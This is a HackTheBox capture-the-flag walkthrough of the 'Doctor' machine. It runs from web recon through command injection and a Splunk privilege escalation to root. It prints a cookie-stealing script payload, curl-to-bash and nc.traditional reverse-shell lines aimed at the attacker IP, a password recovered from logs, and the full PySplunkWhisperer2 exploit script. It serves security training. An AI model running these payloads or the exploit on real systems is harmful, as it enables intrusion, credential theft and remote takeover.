Posts HackTheBox - Doctor
Post
Cancel

HackTheBox - Doctor

Doctor was a fun 20 point box created by egotisticalSW that involved a cool attack vector to gain RCE, and a nice Splunk exploit to get root.

User.txt

Nmap


A quick nmap scan reveals the following ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# nmap -sV -sC -p 22,80,8089 10.10.10.209                         

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))         
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor                                                                                     
8089/tcp open  ssl/http Splunkd httpd                                                                    
| http-robots.txt: 1 disallowed entry  
|_/                   
|_http-server-header: Splunkd                                                                            
|_http-title: splunkd                          
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27                                                                  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Splunk


Splunk makes machine data accessible across an organization by identifying data patterns, providing metrics, diagnosing problems and providing intelligence for business operations. Splunk is a horizontal technology used for application management, security and compliance, as well as business and web analytics.

Checking out the Splunk service running on port 8089 you’ll see the following page:


There’s not too much to be looked at here as we require credentials to do so. There are some authenticated Splunk exploits that may come in handy later on.


HTTP


Adding doctor.htb to my /etc/hosts and checking out http://doctor.htb/:


Looking through the source code I noticed an email address with a doctors.htb domain:


After adding this new domain too my /etc/hosts file I checked for any vhosts present using wfuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# wfuzz --hh=19848 -w /root/wordLists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u doctors.htb -H "Host: FUZZ.doctors.htb"    

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://doctors.htb/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                    
===================================================================

000000001:   302        3 L      24 W     237 Ch      "www"                
000001176:   302        3 L      24 W     237 Ch      "WWW"  

After adding the vhost to my /etc/hosts I had a gander at http://www.doctors.htb which tells you to login in order to access the page:


XSS to RCE


This is a cool attack vector that I’ve come across before on one of the HTB endgames, the only difference is utilising an XSS payload first. (Turns out this isn’t acutally XSS, judging from other writeups the <script> tags are not needed and simply entering a URL into the Content field makes a GET request to that address)

After registering a user on the application you can create a new post:


The Content field is vulnerable to XSS, at first I attempted to steal the cookie of the admin user but this was not successful:

1
<script> new Image().src="http://10.10.14.198/bogus.php? output="+document.cookie; </script>

Listening for the cookie returned nada:

1
2
3
4
5
6
7
# nc -nlvp 80                              
listening on [any] 80 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.10.209] 49644
GET /bogus.php? HTTP/1.1
Host: 10.10.14.198
User-Agent: curl/7.68.0
Accept: */*

The good thing is we can make the server interact with us and the resource we request is also reflected back - bogus.php?. We can try injecting system commands in place of the resource and listen for the repsonse:

1
<script> new Image().src="http://10.10.14.198/$(id)?"</script> 

Listening for the response you can see the command executed successfully:

1
2
3
4
5
6
7
# nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.10.209] 49678
GET /uid=1001(web) HTTP/1.1
Host: 10.10.14.198
User-Agent: curl/7.68.0
Accept: */*

Now we just need a shell. The technique I used on one of the endgames to overcome the spaces issues was something like the following:

1
$(curl${IFS}10.10.14.198/shell.sh${IFS}|${IFS}bash)

This however failed on this machine.

IFS`stands for “internal field separator”. It is used by the shell to determine how to do word splitting, i. e. how to recognize word boundaries.

The following example did succeed and I had to use nc.traditional as I could not find another method of downloading or executing a reverse shell:

1
<script> new Image().src="http://10.10.14.198/$(nc.traditional$IFS-e/bin/sh$IFS'10.10.14.198'$IFS'443')?"</script> 

Listening and receiving the shell:

1
2
3
4
5
# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.10.209] 47982
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)


SSH Shell


To get an SSH session we simply have to create a .ssh directory in web’s home directory and add our public key to the authorized_keys file:

1
2
3
4
5
6
7
8
9
10
web@doctor:~$ mkdir .ssh
mkdir .ssh

web@doctor:~$ cd .ssh
cd .ssh

web@doctor:~/.ssh$ touch authorized_keys
touch authorized_keys

web@doctor:~/.ssh$ echo "..." > authorized_keys

You can then SSH into the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ssh -i .ssh/id_rsa web@10.10.10.209
The authenticity of host '10.10.10.209 (10.10.10.209)' can't be established.
ECDSA key fingerprint is SHA256:0MVKi3SkbXWuJQF4SY4bj6aayChVyG5EPY90nDjKLas.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.209' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


76 updates can be installed immediately.
36 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Jul 27 20:45:33 2020 from 192.168.127.142
web@doctor:~$


Web to Shaun


Grepping through directories looking for keywords you’ll notice an apache2 backup log file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eb@doctor:/var/log$ grep -iRl "secret\|pass\|password" 2>/dev/null
auth.log
syslog
auth.log.1
syslog.1
apache2/error.log
apache2/backup *
apache2/access.log
apache2/access.log.12.gz
journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001@8612c285930942bc8295a5e5404c6fb7-000000000000d0e1-0005ae7b997ca2d8.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/system@68325fc054024f8aac6fcf2ce991a876-000000000000cf5a-0005ae7b98c1acfe.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/system@68325fc054024f8aac6fcf2ce991a876-0000000000003ac7-0005ab70dc697773.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1002@84e1503b20fd49eca2b6ca0b7d6fdeeb-00000000000176d6-0005af5694057aa6.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001@f2b297d4dd6e4a7b9f7b5fc1cbdc25ca-000000000000b3fa-0005ad24ae51ae7e.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1000@850bd2f52f32450eb28c7df8c2cc17e5-0000000000003ace-0005ab70e892a919.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1002@d7db22ad6f3940688b22b65437aa9641-0000000000054339-0005afadb413b4f9.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/system@68325fc054024f8aac6fcf2ce991a876-0000000000033c8f-0005afad8045c159.journal
journal/62307f5876ce4bdeb1a4be33bebfb978/user-1002.journal
dmesg
dmesg.0
kern.log.1

Grepping for the same keywords discloses the following password - Guitar123:

1
2
web@doctor:/var/log/apache2$ cat backup | grep "secret\|password\|pass"
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"


Flag


You can simply su shaun with the password and get the user flag:

1
2
3
4
5
6
7
8
web@doctor:/var/log/apache2$ su shaun
Password: Guitar123

shaun@doctor:/var/log/apache2$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)

shaun@doctor:~$ wc user.txt 
 1  1 33 user.txt


Root.txt

Splunk


Root is fairly staightforward, we have valid credentials for Splunk and there’s an exploit we can use to get command execution as root which can be found here.

I used the local exploit and made some modifications as only Python3 was installed on the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import sys, os, tempfile, shutil
import tarfile
import requests
import argparse

requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)

SPLUNK_APP_NAME = '_PWN_APP_'


def create_splunk_bundle(options):
    tmp_path = tempfile.mkdtemp()
    os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME))

    bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin")
    os.mkdir(bin_dir)
    pwn_file = os.path.join(bin_dir, options.payload_file)
    open(pwn_file, "w").write(options.payload)
    # make the script executable - not 100% certain this makes a difference
    os.chmod(pwn_file, 0o700)

    local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local")
    os.mkdir(local_dir)
    inputs_conf = os.path.join(local_dir, "inputs.conf")
    with open(inputs_conf, "w") as f:
        inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file)
        inputs += 'disabled = false\n'
        inputs += 'index = default\n'
        inputs += 'interval = 60.0\n'
        inputs += 'sourcetype = test\n'
        f.write(inputs)

    (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar')
    os.close(fd)
    with tarfile.TarFile(tmp_bundle, mode="w") as tf:
        tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME)

    shutil.rmtree(tmp_path)
    return tmp_bundle


parser = argparse.ArgumentParser()
parser.add_argument('--scheme', default="https")
parser.add_argument('--port', default=8089)
parser.add_argument('--username', default="admin")
parser.add_argument('--password', default="changeme")
parser.add_argument('--payload', default="calc.exe")
parser.add_argument('--payload-file', default="pwn.bat")
options = parser.parse_args()

print("Running in local mode (Local Privilege Escalation)")
options.host = "127.0.0.1"

SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )

s = requests.Session()
s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
s.verify = False

print("[.] Authenticating...")
req = s.get(SPLUNK_BASE_API)
if req.status_code == 401:
    print("Authentication failure")
    print("")
    print(req.text)
    sys.exit(-1)
print("[+] Authenticated")

print("[.] Creating malicious app bundle...")
BUNDLE_FILE = create_splunk_bundle(options)
print("[+] Created malicious app bundle in: " + BUNDLE_FILE)

lurl = BUNDLE_FILE

print("[.] Installing app from: " + lurl)
req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
if req.status_code != 200 and req.status_code != 201:
    print("Got a problem: " + str(req.status_code))
    print("")
    print(req.text)
print("[+] App installed, your code should be running now!")

print("\nPress RETURN to cleanup")
input()
os.remove(BUNDLE_FILE)

print("[.] Removing app...")
req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
if req.status_code != 200 and req.status_code != 201:
    print("Got a problem: " + str(req.status_code))
    print("")
    print(req.text)
print("[+] App removed")

print ("\nPress RETURN to exit")
input()
print ("Bye!")

Running the exploit with the following parameters I received a reverse shell as root:

1
2
3
4
5
6
7
8
9
10
web@doctor:/tmp$ python3 PySplunkWhisperer2_local.py --username shaun --password Guitar123 --payload 'nc.traditional -e/bin/sh 10.10.14.198 443'
Running in local mode (Local Privilege Escalation)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmponuexw9w.tar
[.] Installing app from: /tmp/tmponuexw9w.tar
[+] App installed, your code should be running now!

Press RETURN to cleanup
1
2
3
4
5
# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.198] from (UNKNOWN) [10.10.10.209] 48074
id
uid=0(root) gid=0(root) groups=0(root)


Flag


With a root shell you can get the final flag:

1
2
3
4
5
6
7
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@doctor:/#

root@doctor:/# wc /root/root.txt
wc /root/root.txt
 1  1 33 /root/root.txt
root@doctor:/#
This post is licensed under CC BY 4.0 by the author.